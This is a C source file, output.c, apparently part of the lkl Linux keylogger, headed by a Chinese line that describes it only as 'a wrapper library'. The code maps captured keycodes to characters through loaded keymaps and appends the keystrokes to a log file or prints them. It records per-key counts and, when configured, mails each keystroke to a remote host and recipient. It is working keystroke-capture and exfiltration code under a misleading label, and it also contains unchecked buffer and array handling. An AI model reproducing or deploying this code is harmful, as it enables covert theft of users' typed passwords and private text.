output.c

是一个包装库

#include "lkl.h"

char *asciitab[TABLE_SIZE], *asciitab_shift[TABLE_SIZE], *asciitab_alt[TABLE_SIZE];

int stattab[TABLE_SIZE];

void do_output(char c, struct lkl *lkl)
{
  FILE *fp;
  char *ascii;

  ascii = code2ascii(c, lkl);
  if(ascii == NULL) ascii = "NULL";
  
  if(*ascii) {
	if(c<TABLE_SIZE)
	  stattab[c]++; 
  }
  
  if(lkl->outfile == NULL){
    printf("(%s)", ascii);
  }else{
    if((fp = fopen(lkl->outfile, "a")) == NULL){
      perror("fopen()");
      exit(-1);
    }
    
    fprintf(fp, "%s", ascii);
    fclose(fp);
  }
  /* do stat-info out */
  if(lkl->statfile != NULL) {
	 if((fp = fopen(lkl->statfile, "w")) == NULL){
	      perror("fopen()");
	      exit(-1);
	 }
		      
	 fwrite(stattab,sizeof(stattab),1,fp);//, "%s", ascii);
	 fclose(fp);	
  }

  if(lkl->mail)snd_mail(ascii, lkl->host, lkl->rcpt);
  
}
void do_dump(char* filename)
{
	 /* open the key static file */
	 FILE *fp;
	 int i;
	 memset(&stattab,0,sizeof(stattab));
	 if(filename != NULL) {
	    if((fp = fopen(filename, "r")) == NULL){
	       perror("fopen()");
	       exit(-1);
	    }
	    fread(&stattab,sizeof(stattab),1,fp);
	    fclose(fp);
	}
	for(i = 0; i<TABLE_SIZE;i++)
	{
		if(stattab[i]) {
			//do output
			printf("KeyCode:%d:Count:%d;",i,stattab[i]);
		}
    }
	printf("\n");
}
char *code2ascii(char c, struct lkl *lkl)
{
  char *str;

  if(lkl->pressed_shift){
    str = asciitab_shift[c];
    return str;
  }
  if(lkl->pressed_alt){
    str = asciitab_alt[c];
    return str;
  }

  return str = asciitab[c];
}

void def_keymap(char km_file[])
{
  int i;
  char km_fileOLD[256], *ascii[TABLE_SIZE];
  FILE *fp;

  if((fp = fopen(km_file, "r")) == NULL){
    perror("\nunable to find keymap-file");
    printf("a keymap is required!! run lkl with -k <keymap>\n");
    exit(-1);
  }
  strcpy(km_fileOLD, km_file);

  //Standard keymap definition
  for(i = 1; !feof(fp); i++){
    asciitab[i] = (char *)malloc(127);
    fgets(asciitab[i], 127, fp);

    if(asciitab[i][0] == '#'){
      i--;
      continue;
    }
    if(!strstr(asciitab[i], "<Ret>")) asciitab[i][(strlen(asciitab[i])-1)] = '\0';
  }
  //Upper Case keymap definition
  strcat(km_file, "UP");
  if((fp = fopen(km_file, "r")) == NULL){
    perror("\nunable to find keymap-file");
    printf("unable to find UPPER case keymap file, check it!\n");
    exit(-1);
  }

  for(i = 1; !feof(fp); i++){
    asciitab_shift[i] = (char *)malloc(127);
    fgets(asciitab_shift[i], 127, fp);

    if(asciitab_shift[i][0] == '#'){
      i--;
      continue;
    }
    if(!strstr(asciitab_shift[i], "<Ret>")) asciitab_shift[i][(strlen(asciitab_shift[i])-1)] = '\0';
  }

  //Alt keymap definition
  strcpy(km_file, km_fileOLD);
  strcat(km_file, "ALT");
  if((fp = fopen(km_file, "r")) == NULL){
    perror("\nunable to find keymap-file");
    printf("unable to find ALT keymap file, check it!\n");
    exit(-1);
  }

  for(i = 1; !feof(fp); i++){
    asciitab_alt[i] = (char *)malloc(127);
    fgets(asciitab_alt[i], 127, fp);

    if(asciitab_alt[i][0] == '#'){
      i--;
      continue;
    }
    asciitab_alt[i][(strlen(asciitab_alt[i])-1)] = '\0';
  }

  fclose(fp);
}